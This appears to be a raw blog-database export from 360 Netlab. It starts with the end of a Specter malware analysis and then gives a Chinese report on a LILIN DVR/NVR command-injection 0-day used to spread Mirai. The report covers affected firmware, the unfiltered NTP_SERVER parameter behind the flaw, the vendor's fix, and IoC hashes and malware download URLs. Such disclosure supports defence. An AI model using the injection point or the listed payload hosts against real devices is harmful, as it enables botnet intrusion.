src=\"__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG\" class=\"kg-image\"/></a>\nSpecter实现了一种非常灵活插件管理通信机制，每个插件都要实现以下4个方法，\n\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG\" class=\"kg-image\"/></a>\n 如果当前没有相应的Plugin，则向C2请求，最终动态加载进Loader的```Plugin Slot```中。\n\n### Stage3：业务阶段，Specter_Plugin分析\n\n\n\n当Bot得到C2下发的Plugin时，还不能直接使用，因为它们加密的，解密之后才能加载进Plugin Slot使用。\n解密算法为```逐字节异或0x7f，然后取反。```\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG\" class=\"kg-image\"/></a>\n以下是我们捕获的一些插件\n#### Shell plugin\n\n> Plugin id: 1\n>\n> c7bf33d159597f55dce31b33a58d52de\n>\n> ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped\n\nShell plugin的主要功能为开启SHELL服务。\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG\" class=\"kg-image\"/></a>\n\n#### File plugin\n\n> Plugin id: 2\n>\n> e67db6449c18b2e552786df7718a33c8\n>\n> ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped \n\nFile plugin的主要功能是文件管理，除了支持对文件目录的读，写，删除，查找操作，还可能从指定的的服务器下载/上传文件。\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG\" class=\"kg-image\"/></a>\n\n#### Socket Plugin\n\n> Plugin id: 3\n>\n> 45c5e7bcb9987356b53fd9a78543dcda\n>\n> ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped\n\nSocket Plugin的主要功能为开启Socket5 代理。\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG\" class=\"kg-image\"/></a>\n\n\n\n#### SSF Plugin\n\n> Plugin id: 5\n>\n> da0f9a21ae7ee3d15794946ca74a07e3\n>\n> ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped\n\nSSF Plugin的主要功能是从指定服务器下载可执行文件到本地```/tmp/runtimes/httpd_log_output```文件，然后执行。\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG\" class=\"kg-image\"/></a>\n\n## 处置建议\n\n我们建议并根据Specter创建的进程，释放目录以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。\n\n我们建议读者对Specter相关IP，URL和域名进行监控和封锁。\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。\n\n## 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n## IoC\n\n#### CC\n```\n107.182.186.195:443\tASN25820|IT7_Networks_Inc\tUnited_States|California|Los_Angeles\n```\n\n#### Sample MD5\n\n```\n04c7ef9e4197985d31e5d601a9161c5e\n052b6fce24a800259289e2f06163db57\n065d942effb6010bb48f7403d3ad442b\n0d0bf23412bd34c82ab28e67278519bf\n2b89fd69d128c8a28425c512670e531a\n2ed27722e095b1c870fdb10e4990db0f\n42d341d0b76869abc2231c70d0f0ecc9\n5e03c99153ed59546bf60c9f896a30f1\n7377eedb6512743858d52da3cc028a33\n7c59ddc06da158afc8b514a9a81ffd36\na5ded8b31b17c88302882cccc35cc28f\na8400c378950084fc8ab80b8bb4e5b18\na99563e6711990b9b3f542ae146bd01c\nacfa5f547b69bde0bf3f343429594b99\nb79639e2b5d10f92ea44721e155fc09b\nb9ac3d23faba205f74ebd932d8e370d3\nc2126977f9f482f290154ea21719330f\nc33b585a0dfa5fdb70d27a17ace6ba1f\nc51fc1656aa857bb7226e2df969aa72d\ncc1b11c6ac6e5bebc4c0e7502b4e1fcd\ncc27d6141f8c66e520122e8f2292a940\neda6d2b0837b5e78ae1b0b50f85e3321\n```\n\n#### Downloader\n```\nhttp://45.76.70.163:80/style/22523419f0404d628d02876e69458fbe.css\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f5b7d807646030007b28a31 |
post | null | 2020-09-19T04:22:18.000Z | 63873b9a8b1c1e0007f52f84 | another-lilin-dvr-0-day-being-used-to-spread-mirai | 0 | 2022-02-09T07:07:19.000Z | public | published | null | 2020-12-03T04:03:35.000Z | LILIN DVR/NVR 在野0-day漏洞攻击报告2 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a></em></p>
<h3 id="">背景介绍</h3>
<p>2020年8月26号，360网络安全研究院Anglerfish蜜罐系统监测到有攻击者，使用Merit LILIN DVR/NVR 默认密码和0-day漏洞，传播Mirai僵尸网络样本。</p>
<p>2020年9月25号，Merit LILIN联络人在收到漏洞报告后，快速地响应并提供了固件修复程序(4.0.26.5618 firmware version for NVR5832)。</p>
<p>此前，我们曾向Merit LILIN报告了另一个0-day漏洞[<a href="https://www.meritlilin.com/assets/uploads/support/file/LILINVulLetter20190227-TW.pdf">1]</a>[<a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day/">2]</a>。</p>
<h3 id="">时间线</h3>
<pre><code>2020年9月21号，我们邮件联系Merit LILIN厂商并报告了漏洞详情以及在野攻击PoC。
2020年9月22号，Merit LILIN联络人邮件回复已经连夜修复该问题。
2020年9月25号，Merit LILIN联络人提供固件修复程序4.0.26.5618 firmware version for NVR5832。
</code></pre>
<h3 id="">影响范围</h3>
<p>360 FirmwareTotal系统通过对Merit LILIN DVR/NVR固件分析和漏洞验证，发现以下固件受影响。</p>
<pre><code>DH032 Firmware v1.0.26.3858.zip
DH032 Firmware v1.0.28.3858.zip
DVR708 Firmware v1.3.4.zip
DVR716 Firmware v1.3.4.zip
DVR816 Firmware v1.3.4.zip
Firmware-DH032-EN.zip
Firmware-DVR708-EN.zip
Firmware-DVR716-EN.zip
Firmware-DVR816-EN.zip
Firmware-NVR100L-EN.zip
Firmware-NVR1400-EN.zip
Firmware-NVR200L-EN.zip
Firmware-NVR2400-EN.zip
Firmware-NVR3216-EN.zip
Firmware-NVR3416-EN.zip
Firmware-NVR3416R-EN.zip
Firmware-NVR3816-EN.zip
Firmware-NVR400L-EN.zip
Firmware-NVR5104E-EN.zip
Firmware-NVR5208E-EN.zip
Firmware-NVR5416E-EN.zip
Firmware-NVR5832-EN.zip
Firmware-NVR5832S-EN.zip
NVR 404C Firmware v1.0.48.zip
NVR 404C Firmware v1.0.56.zip
NVR 408M Firmware v1.0.56.zip
NVR100L 200L Rescue File.zip
NVR100L Firmware v1.1.56 - HTML5 Version.zip
NVR100L Firmware v1.1.66.zip
NVR100L Firmware v1.1.74 - Push Notification Fix.zip
NVR100L, 200L Rescue File.zip
NVR100LFirmware.zip
NVR104 Firmware v1.0.48.zip
NVR104 Firmware v1.0.56.zip
NVR109 Firmware v1.0.38.zip
NVR109 Firmware v1.0.48.zip
NVR109 Firmware v1.0.56.zip
NVR116 Firmware v1.0.38.zip
NVR116 Firmware v1.0.48.zip
NVR116 Firmware v1.0.56.zip
NVR1400Firmware.zip
NVR1400L Firmware v1.1.56 - HTML5 Version.zip
NVR1400L Firmware v1.1.66.zip
NVR1400L Firmware v1.1.74 - Push Notification Fix.zip
NVR200L Firmware v1.1.56 - HTML5 Version.zip
NVR200L Firmware v1.1.66.zip
NVR200L Firmware v1.1.74 - Push Notification Fix.zip
NVR200LFirmware.zip
NVR2400Firmware.zip
NVR2400L Firmware v1.1.56 - HTML5 Version.zip
NVR2400L Firmware v1.1.66.zip
NVR2400L Firmware v1.1.74 - Push Notification Fix.zip
NVR3216 Firmware v3.0.74.3921.zip
NVR3216 Recovery Tool.zip
NVR3416 Firmware v3.0.74.3921.zip
NVR3416 Recovery Tool.zip
NVR3416r Firmware v3.0.76.3921.zip
NVR3816 Firmware v2.0.74.3921.zip
NVR400L 1400 2400 Rescue File.zip
NVR400L Firmware v1.1.56 - HTML5 Version.zip
NVR400L Firmware v1.1.66.zip
NVR400L Firmware v1.1.74 - Push Notification Fix.zip
NVR400L, 1400, 2400 Rescue File.zip
NVR5104E Firmware v5.0.24.4078.zip
NVR5104E Recovery Tool.zip
NVR5208E Firmware v5.0.24.4078.zip
NVR5208E Recovery Tool.zip
NVR5416E Firmware v4.0.24.4078.zip
NVR5832 Firmware v4.0.24.4043.zip
NVR5832 Firmware v4.0.24.4043.zip
NVR5832 Recovery Tool.zip
NVR5832S Firmware v4.0.24.4043.zip
NVR5832S Recovery Tool.zip
VD022 Firmware 1.0.48.zip
VD022 Firmware 1.0.56.zip
</code></pre>
<p>360 Quake网络空间测绘系统通过对全网资产测绘，发现公网上存在Merit LILIN DVR/NVR指纹(app:"LILIN_DVR")的设备共有1049094个IP地址，符合上述固件指纹特征的IP共有6748个。其中大部分设备位于在中国台湾省，具体分布如下图所示。<br>
<a href="__GHOST_URL__/content/images/2020/12/lilin_world.png"><img src="__GHOST_URL__/content/images/2020/12/lilin_world.png" class="kg-image"/></a></p>
<p><a href="__GHOST_URL__/content/images/2020/12/lilin_china_tongji.png"><img src="__GHOST_URL__/content/images/2020/12/lilin_china_tongji.png" class="kg-image"/></a></p>
<h3 id="">漏洞分析</h3>
<p>漏洞类型: 需授权的远程命令执行漏洞<br>
漏洞原因: Web服务程序<code>/opt/extra/main</code>定义了<code>GET /getclock</code>接口，用于查看和修改设备时间相关配置。当<code>/opt/extra/main</code>程序启动时，会启动命令行程序<code>/mnt/mtd/subapp/syscmd</code>，将需要执行的命令通过共享内存交由<code>syscmd</code>执行。</p>
<ol>
<li>当传入参数<code>cmd</code>的值为<code>set</code>时，可以使用参数<code>NTP_SERVER</code>设置设备的时间同步服务器。</li>
<li>由于<code>GET /getclock</code>接口的回调函数，并未对参数<code>NTP_SERVER</code>的值进行过滤，即将相关字段保存，并创建<code>CMDQ_SET_SYS_TIME </code>消息压入cmdQueue。</li>
<li>cmdQueue对应的<code>CMDQ_SET_SYS_TIME</code>消息处理函数读取相关字段，并拼接如下shell命令，写入共享内存，导致远程命令执行漏洞。</li>
</ol>
<pre><code class="language-sh">/opt/extra/subapp/ntpclient -s -t -h %s > %s &", v4, "/tmp/ntp.dat"
</code></pre>
<p>漏洞修复：在固件修复程序中，我们看到保存<code>NTP_SERVER</code>参数前，会调用<code>resolve_ip()</code>函数封装<code>inet_aton()</code>函数判断该参数值是否为正确的IP地址。<br>
具体修复过程如下：</p>
<ol>
<li>对于URL格式的参数，调用libadns.so库进行域名解析，若解析成功，则将地址写入ipAddr，返回True；否则返回False</li>
<li>对于IP地址，则直接写入ipAddr，返回True<br>
<img src="__GHOST_URL__/content/images/2020/12/bug_fix.png" alt="bug_fix" loading="lazy"></li>
</ol>
<h3 id="">处置建议</h3>
<p>我们建议Merit LILIN DVR/NVR用户及时检查并更新固件系统，同时给设备设置复杂的登录密码。</p>
<p>我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件netlab[at]360.cn联系我们。</p>
<h3 id="ioclist">IoC list</h3>
<p>样本MD5</p>
<pre><code>0bf1fd0cfa9ced2d95e17f4d9cf10d34
1c3b2a0738476c609656515c5422002e
1c7735dba999c106197bb8defb143925
1f56696725930ae35428fbdb7c953ce0
2b1e0f7a3fcf3478ea726a3b04a9e601
6e90346591e95a623c8a16695c1b36cd
7d8fb579f1d3a4320fcc5e712970d84e
8b8800449bf9729e00b41729632699f6
8f481d0da94b964e4061cd96892386d4
20b89f0640215b0180b357ce2d07dc10
43c477a3df65c2ecd4580dc944208d59
51de7b96b43a4062d578561becff713c
60d6a7a725221e7772dbd192aaa3f872
267e120fc765784f852ed6b2fa939f46
614ca6d9c18fe15db1e8683c9e5caeb8
64714ff03f088a9702faf9adbdc9f2d6
32887409ed42e8e6df21c5600e572102
a18266a67bbf45d8bb19bd6f46519587
afdb1f3312b3029143e9f2d09b92f2a1
ce8bf6ed38037792e25160a37b23cd4f
f9887d332e35f9901ef507f88b5e06cb
fcaff61a5de5e44083555a29ee4f5246
feaf1296790d3e1becef913add8ba542
</code></pre>
<p>URL</p>
<pre><code>http://2.57.122.167:5858/f
http://2.57.122.167:5858/uwu/arm
http://2.57.122.167:5858/uwu/arm5
http://2.57.122.167:5858/uwu/arm6
http://2.57.122.167:5858/uwu/arm7
http://2.57.122.167:5858/uwu/m68k
http://2.57.122.167:5858/uwu/mips
http://2.57.122.167:5858/uwu/mpsl
http://2.57.122.167:5858/uwu/ppc
http://2.57.122.167:5858/uwu/sh4
http://2.57.122.167:5858/uwu/spc
http://2.57.122.167:5858/uwu/x86
http://2.57.122.167:5858/webos/whoareyou.arm
http://2.57.122.167:5858/webos/whoareyou.arm5
http://2.57.122.167:5858/webos/whoareyou.arm6
http://2.57.122.167:5858/webos/whoareyou.arm7
http://2.57.122.167:5858/webos/whoareyou.m68k
http://2.57.122.167:5858/webos/whoareyou.mips
http://2.57.122.167:5858/webos/whoareyou.mpsl
http://2.57.122.167:5858/webos/whoareyou.ppc
http://2.57.122.167:5858/webos/whoareyou.sh4
http://2.57.122.167:5858/webos/whoareyou.spc
http://2.57.122.167:5858/webos/whoareyou.x86
</code></pre>
<p>IP</p>
<pre><code>2.57.122.167 Romania ASN48090 Pptechnology Limited
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：马延龙，叶根深
背景介绍
2020年8月26号，360网络安全研究院Anglerfish蜜罐系统监测到有攻击者，使用Merit LILIN DVR/NVR 默认密码和0-day漏洞，传播Mirai僵尸网络样本。
2020年9月25号，Merit LILIN联络人在收到漏洞报告后，快速地响应并提供了固件修复程序(4.0.26.5618 firmware version for NVR5832)。
此前，我们曾向Merit LILIN报告了另一个0-day漏洞[1][2]。
时间线
2020年9月21号，我们邮件联系Merit LILIN厂商并报告了漏洞详情以及在野攻击PoC。
2020年9月22号，Merit LILIN联络人邮件回复已经连夜修复该问题。
2020年9月25号，Merit LILIN联络人提供固件修复程序4.0.26.5618 firmware version for NVR5832。
影响范围
360 FirmwareTotal系统通过对Merit LILIN DVR/NVR固件分析和漏洞验证，发现以下固件受影响。
DH032 Firmware v1.0.26.3858.zip
DH032 Firmware v1.0.28.3858.zip
DVR708 Firmware v1.3.4.zip
DVR716 Firmware v1.3.4.zip
DVR816 Firmware v1.3.4.zip
Firmware-DH032-EN.zip
Firmware-DVR708-EN.zip
Firmware-DVR716-EN.zip
Firmware-DVR816-EN.zip
Firmware-NVR100L-EN.zip
Firmware-NVR1400-EN.zip
Firmware-NVR200L-EN.zip
Firmware-NVR2400-EN.zip
Firmware-NVR3216-EN.zip
Firmware-NVR3416-EN.zip
Firmware-NVR3416R-EN.zip
Firmware-NVR3816-EN.zip
Firmware-NVR400L-EN.zip
Firmware-NVR5104E-EN.zip
Firmware-NVR5208E-EN.zip
Firmware-NVR5416E-EN.zip
Firmware-NVR5832-EN.zip
Firmware-NVR5832S-EN.zip
NVR 404C Firmware v1.0.48.zip
NVR 404C Firmware v1.0.56.zip
NVR 408M Firmware v1.0.56.zip
NVR100L 200L Rescue File.zip
NVR100L Firmware v1.1.56 - HTML5 Version.zip
NVR100L Firmware v1.1.66.zip
NVR100L Firmware v1.1.74 - Push Notification Fix.zip
NVR100L, 200L Rescue File.zip
NVR100LFirmware.zip
NVR104 Firmware v1.0.48.zip
NVR104 Firmware v1.0.56.zip
NVR109 Firmware v1.0.38.zip
NVR109 Firmware v1.0.48.zip
NVR109 Firmware v1.0.56.zip
NVR116 Firmware v1.0.38.zip
NVR116 Firmware v1.0.48.zip
NVR116 Firmware v1.0.56.zip
NVR1400Firmware.zip
NVR1400L Firmware v1.1.56 - HTML5 Version.zip
NVR1400L Firmware v1.1.66.zip
NVR1400L Firmware v1.1.74 - Push Notification Fix.zip
NVR200L Firmware v1.1.56 - HTML5 Version.zip
NVR200L Firmware v1.1.66.zip
NVR200L Firmware v1.1.74 - Push Notification Fix.zip
NVR200LFirmware.zip
NVR2400Firmware.zip
NVR2400L Firmware v1.1.56 - HTML5 Version.zip
NVR2400L Firmware v1.1.66.zip
NVR2400L Firmware v1.1.74 - Push Notification Fix.zip
NVR3216 Firmware v3.0.74.3921.zip
NVR3216 Recovery Tool.zip
NVR3416 Firmware v3.0.74.3921.zip
NVR3416 Recovery Tool.zip
NVR3416r Firmware v3.0.76.3921.zip
NVR3816 Firmware v2.0.74.3921.zip
NVR400L 1400 2400 Rescue File.zip
NVR400L Firmware v1.1.56 - HTML5 Version.zip
NVR400L Firmware v1.1.66.zip
NVR400L Firmware v1.1.74 - Push Notification Fix.zip
NVR400L, 1400, 2400 Rescue File.zip
NVR5104E Firmware v5.0.24.4078.zip
NVR5104E Recovery Tool.zip
NVR5208E Firmware v5.0.24.4078.zip
NVR5208E Recovery Tool.zip
NVR5416E Firmware v4.0.24.4078.zip
NVR5832 Firmware v4.0.24.4043.zip
NVR5832 Firmware v4.0.24.4043.zip
NVR5832 Recovery Tool.zip
NVR5832S Firmware v4.0.24.4043.zip
NVR5832S Recovery Tool.zip
VD022 Firmware 1.0.48.zip
VD022 Firmware 1.0.56.zip
360 Quake网络空间测绘系统通过对全网资产测绘，发现公网上存在Merit LILIN DVR/NVR指纹(app:"LILIN_DVR")的设备共有1049094个IP地址，符合上述固件指纹特征的IP共有6748个。其中大部分设备位于在中国台湾省，具体分布如下图所示。
漏洞分析
漏洞类型: 需授权的远程命令执行漏洞
漏洞原因: Web服务程序/opt/extra/main定义了GET /getclock接口，用于查看和修改设备时间相关配置。当/opt/extra/main程序启动时，会启动命令行程序/mnt/mtd/subapp/syscmd，将需要执行的命令通过共享内存交由syscmd执行。
1. 当传入参数cmd的值为set时，可以使用参数NTP_SERVER设置设备的时间同步服务器。
2. 由于GET /getclock接口的回调函数，并未对参数NTP_SERVER的值进行过滤，即将相关字段保存，并创建CMDQ_SET_SYS_TIME 消息压入cmdQueue。
3. cmdQueue对应的CMDQ_SET_SYS_TIME消息处理函数读取相关字段，并拼接如下shell命令，写入共享内存，导致远程命令执行漏洞。
/opt/extra/subapp/ntpclient -s -t -h %s > %s &", v4, "/tmp/ntp.dat"
漏洞修复：在固件修复程序中，我们看到保存NTP_SERVER参数前，会调用resolve_ip()函数封装inet_aton()函数判断该参数值是否为正确的IP地址。
具体修复过程如下：
1. 对于URL格式的参数，调用libadns.so库进行域名解析，若解析成功，则将地址写入ipAddr，返回True；否则返回False
2. 对于IP地址，则直接写入ipAddr，返回True
处置建议
我们建议Merit LILIN DVR/NVR用户及时检查并更新固件系统，同时给设备设置复杂的登录密码。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC list
样本MD5
0bf1fd0cfa9ced2d95e17f4d9cf10d34
1c3b2a0738476c609656515c5422002e
1c7735dba999c106197bb8defb143925
1f56696725930ae35428fbdb7c953ce0
2b1e0f7a3fcf3478ea726a3b04a9e601
6e90346591e95a623c8a16695c1b36cd
7d8fb579f1d3a4320fcc5e712970d84e
8b8800449bf9729e00b41729632699f6
8f481d0da94b964e4061cd96892386d4
20b89f0640215b0180b357ce2d07dc10
43c477a3df65c2ecd4580dc944208d59
51de7b96b43a4062d578561becff713c
60d6a7a725221e7772dbd192aaa3f872
267e120fc765784f852ed6b2fa939f46
614ca6d9c18fe15db1e8683c9e5caeb8
64714ff03f088a9702faf9adbdc9f2d6
32887409ed42e8e6df21c5600e572102
a18266a67bbf45d8bb19bd6f46519587
afdb1f3312b3029143e9f2d09b92f2a1
ce8bf6ed38037792e25160a37b23cd4f
f9887d332e35f9901ef507f88b5e06cb
fcaff61a5de5e44083555a29ee4f5246
feaf1296790d3e1becef913add8ba542
URL
http://2.57.122.167:5858/f
http://2.57.122.167:5858/uwu/arm
http://2.57.122.167:5858/uwu/arm5
http://2.57.122.167:5858/uwu/arm6
http://2.57.122.167:5858/uwu/arm7
http://2.57.122.167:5858/uwu/m68k
http://2.57.122.167:5858/uwu/mips
http://2.57.122.167:5858/uwu/mpsl
http://2.57.122.167:5858/uwu/ppc
http://2.57.122.167:5858/uwu/sh4
http://2.57.122.167:5858/uwu/spc
http://2.57.122.167:5858/uwu/x86
http://2.57.122.167:5858/webos/whoareyou.arm
http://2.57.122.167:5858/webos/whoareyou.arm5
http://2.57.122.167:5858/webos/whoareyou.arm6
http://2.57.122.167:5858/webos/whoareyou.arm7
http://2.57.122.167:5858/webos/whoareyou.m68k
http://2.57.122.167:5858/webos/whoareyou.mips
http://2.57.122.167:5858/webos/whoareyou.mpsl
http://2.57.122.167:5858/webos/whoareyou.ppc
http://2.57.122.167:5858/webos/whoareyou.sh4
http://2.57.122.167:5858/webos/whoareyou.spc
http://2.57.122.167:5858/webos/whoareyou.x86
IP
2.57.122.167 Romania ASN48090 Pptechnology Limited
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)*\n\n### 背景介绍\n2020年8月26号，360网络安全研究院Anglerfish蜜罐系统监测到有攻击者，使用Merit LILIN DVR/NVR 默认密码和0-day漏洞，传播Mirai僵尸网络样本。\n\n2020年9月25号，Merit LILIN联络人在收到漏洞报告后，快速地响应并提供了固件修复程序(4.0.26.5618 firmware version for NVR5832)。\n\n此前，我们曾向Merit LILIN报告了另一个0-day漏洞[[1\\]](https://www.meritlilin.com/assets/uploads/support/file/LILINVulLetter20190227-TW.pdf)[[2\\]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day/)。\n\n### 时间线\n```\n2020年9月21号，我们邮件联系Merit LILIN厂商并报告了漏洞详情以及在野攻击PoC。\n2020年9月22号，Merit LILIN联络人邮件回复已经连夜修复该问题。\n2020年9月25号，Merit LILIN联络人提供固件修复程序4.0.26.5618 firmware version for NVR5832。\n```\n\n### 影响范围\n360 FirmwareTotal系统通过对Merit LILIN DVR/NVR固件分析和漏洞验证，发现以下固件受影响。\n```\nDH032 Firmware v1.0.26.3858.zip \nDH032 Firmware v1.0.28.3858.zip \nDVR708 Firmware v1.3.4.zip \nDVR716 Firmware v1.3.4.zip \nDVR816 Firmware v1.3.4.zip \nFirmware-DH032-EN.zip \nFirmware-DVR708-EN.zip \nFirmware-DVR716-EN.zip \nFirmware-DVR816-EN.zip \nFirmware-NVR100L-EN.zip \nFirmware-NVR1400-EN.zip \nFirmware-NVR200L-EN.zip \nFirmware-NVR2400-EN.zip \nFirmware-NVR3216-EN.zip \nFirmware-NVR3416-EN.zip \nFirmware-NVR3416R-EN.zip \nFirmware-NVR3816-EN.zip \nFirmware-NVR400L-EN.zip \nFirmware-NVR5104E-EN.zip \nFirmware-NVR5208E-EN.zip \nFirmware-NVR5416E-EN.zip \nFirmware-NVR5832-EN.zip \nFirmware-NVR5832S-EN.zip \nNVR 404C Firmware v1.0.48.zip \nNVR 404C Firmware v1.0.56.zip \nNVR 408M Firmware v1.0.56.zip \nNVR100L 200L Rescue File.zip \nNVR100L Firmware v1.1.56 - HTML5 Version.zip \nNVR100L Firmware v1.1.66.zip \nNVR100L Firmware v1.1.74 - Push Notification Fix.zip \nNVR100L, 200L Rescue File.zip \nNVR100LFirmware.zip \nNVR104 Firmware v1.0.48.zip \nNVR104 Firmware v1.0.56.zip \nNVR109 Firmware v1.0.38.zip \nNVR109 Firmware v1.0.48.zip \nNVR109 Firmware v1.0.56.zip \nNVR116 Firmware v1.0.38.zip \nNVR116 Firmware v1.0.48.zip \nNVR116 Firmware v1.0.56.zip \nNVR1400Firmware.zip \nNVR1400L Firmware v1.1.56 - HTML5 Version.zip \nNVR1400L Firmware v1.1.66.zip \nNVR1400L Firmware v1.1.74 - Push Notification Fix.zip\nNVR200L Firmware v1.1.56 - HTML5 Version.zip \nNVR200L Firmware v1.1.66.zip \nNVR200L Firmware v1.1.74 - Push Notification Fix.zip \nNVR200LFirmware.zip \nNVR2400Firmware.zip \nNVR2400L Firmware v1.1.56 - HTML5 Version.zip \nNVR2400L Firmware v1.1.66.zip \nNVR2400L Firmware v1.1.74 - Push Notification Fix.zip\nNVR3216 Firmware v3.0.74.3921.zip \nNVR3216 Recovery Tool.zip \nNVR3416 Firmware v3.0.74.3921.zip \nNVR3416 Recovery Tool.zip \nNVR3416r Firmware v3.0.76.3921.zip \nNVR3816 Firmware v2.0.74.3921.zip \nNVR400L 1400 2400 Rescue File.zip \nNVR400L Firmware v1.1.56 - HTML5 Version.zip \nNVR400L Firmware v1.1.66.zip \nNVR400L Firmware v1.1.74 - Push Notification Fix.zip \nNVR400L, 1400, 2400 Rescue File.zip \nNVR5104E Firmware v5.0.24.4078.zip \nNVR5104E Recovery Tool.zip \nNVR5208E Firmware v5.0.24.4078.zip \nNVR5208E Recovery Tool.zip \nNVR5416E Firmware v4.0.24.4078.zip \nNVR5832 Firmware v4.0.24.4043.zip \nNVR5832 Firmware v4.0.24.4043.zip \nNVR5832 Recovery Tool.zip \nNVR5832S Firmware v4.0.24.4043.zip \nNVR5832S Recovery Tool.zip \nVD022 Firmware 1.0.48.zip \nVD022 Firmware 1.0.56.zip \n```\n\n360 Quake网络空间测绘系统通过对全网资产测绘，发现公网上存在Merit LILIN DVR/NVR指纹(app:\"LILIN_DVR\")的设备共有1049094个IP地址，符合上述固件指纹特征的IP共有6748个。其中大部分设备位于在中国台湾省，具体分布如下图所示。\n<a href=\"__GHOST_URL__/content/images/2020/12/lilin_world.png\"><img src=\"__GHOST_URL__/content/images/2020/12/lilin_world.png\" class=\"kg-image\"/></a>\n\n<a href=\"__GHOST_URL__/content/images/2020/12/lilin_china_tongji.png\"><img src=\"__GHOST_URL__/content/images/2020/12/lilin_china_tongji.png\" class=\"kg-image\"/></a>\n\n### 漏洞分析\n漏洞类型: 需授权的远程命令执行漏洞\n漏洞原因: Web服务程序`/opt/extra/main`定义了`GET /getclock`接口，用于查看和修改设备时间相关配置。当`/opt/extra/main`程序启动时，会启动命令行程序`/mnt/mtd/subapp/syscmd`，将需要执行的命令通过共享内存交由`syscmd`执行。\n\n1. 当传入参数`cmd`的值为`set`时，可以使用参数`NTP_SERVER`设置设备的时间同步服务器。\n2. 由于`GET /getclock`接口的回调函数，并未对参数`NTP_SERVER`的值进行过滤，即将相关字段保存，并创建`CMDQ_SET_SYS_TIME `消息压入cmdQueue。\n3. cmdQueue对应的`CMDQ_SET_SYS_TIME`消息处理函数读取相关字段，并拼接如下shell命令，写入共享内存，导致远程命令执行漏洞。\n```sh\n/opt/extra/subapp/ntpclient -s -t -h %s > %s &\", v4, \"/tmp/ntp.dat\"\n```\n\n漏洞修复：在固件修复程序中，我们看到保存`NTP_SERVER`参数前，会调用`resolve_ip()`函数封装`inet_aton()`函数判断该参数值是否为正确的IP地址。\n具体修复过程如下：\n1. 对于URL格式的参数，调用libadns.so库进行域名解析，若解析成功，则将地址写入ipAddr，返回True；否则返回False\n2. 对于IP地址，则直接写入ipAddr，返回True\n\n\n\n### 处置建议\n我们建议Merit LILIN DVR/NVR用户及时检查并更新固件系统，同时给设备设置复杂的登录密码。\n\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件netlab[at]360.cn联系我们。\n\n### IoC list\n\n样本MD5\n```\n0bf1fd0cfa9ced2d95e17f4d9cf10d34\n1c3b2a0738476c609656515c5422002e\n1c7735dba999c106197bb8defb143925\n1f56696725930ae35428fbdb7c953ce0\n2b1e0f7a3fcf3478ea726a3b04a9e601\n6e90346591e95a623c8a16695c1b36cd\n7d8fb579f1d3a4320fcc5e712970d84e\n8b8800449bf9729e00b41729632699f6\n8f481d0da94b964e4061cd96892386d4\n20b89f0640215b0180b357ce2d07dc10\n43c477a3df65c2ecd4580dc944208d59\n51de7b96b43a4062d578561becff713c\n60d6a7a725221e7772dbd192aaa3f872\n267e120fc765784f852ed6b2fa939f46\n614ca6d9c18fe15db1e8683c9e5caeb8\n64714ff03f088a9702faf9adbdc9f2d6\n32887409ed42e8e6df21c5600e572102\na18266a67bbf45d8bb19bd6f46519587\nafdb1f3312b3029143e9f2d09b92f2a1\nce8bf6ed38037792e25160a37b23cd4f\nf9887d332e35f9901ef507f88b5e06cb\nfcaff61a5de5e44083555a29ee4f5246\nfeaf1296790d3e1becef913add8ba542\n```\n\nURL\n```\nhttp://2.57.122.167:5858/f\nhttp://2.57.122.167:5858/uwu/arm\nhttp://2.57.122.167:5858/uwu/arm5\nhttp://2.57.122.167:5858/uwu/arm6\nhttp://2.57.122.167:5858/uwu/arm7\nhttp://2.57.122.167:5858/uwu/m68k\nhttp://2.57.122.167:5858/uwu/mips\nhttp://2.57.122.167:5858/uwu/mpsl\nhttp://2.57.122.167:5858/uwu/ppc\nhttp://2.57.122.167:5858/uwu/sh4\nhttp://2.57.122.167:5858/uwu/spc\nhttp://2.57.122.167:5858/uwu/x86\nhttp://2.57.122.167:5858/webos/whoareyou.arm\nhttp://2.57.122.167:5858/webos/whoareyou.arm5\nhttp://2.57.122.167:5858/webos/whoareyou.arm6\nhttp://2.57.122.167:5858/webos/whoareyou.arm7\nhttp://2.57.122.167:5858/webos/whoareyou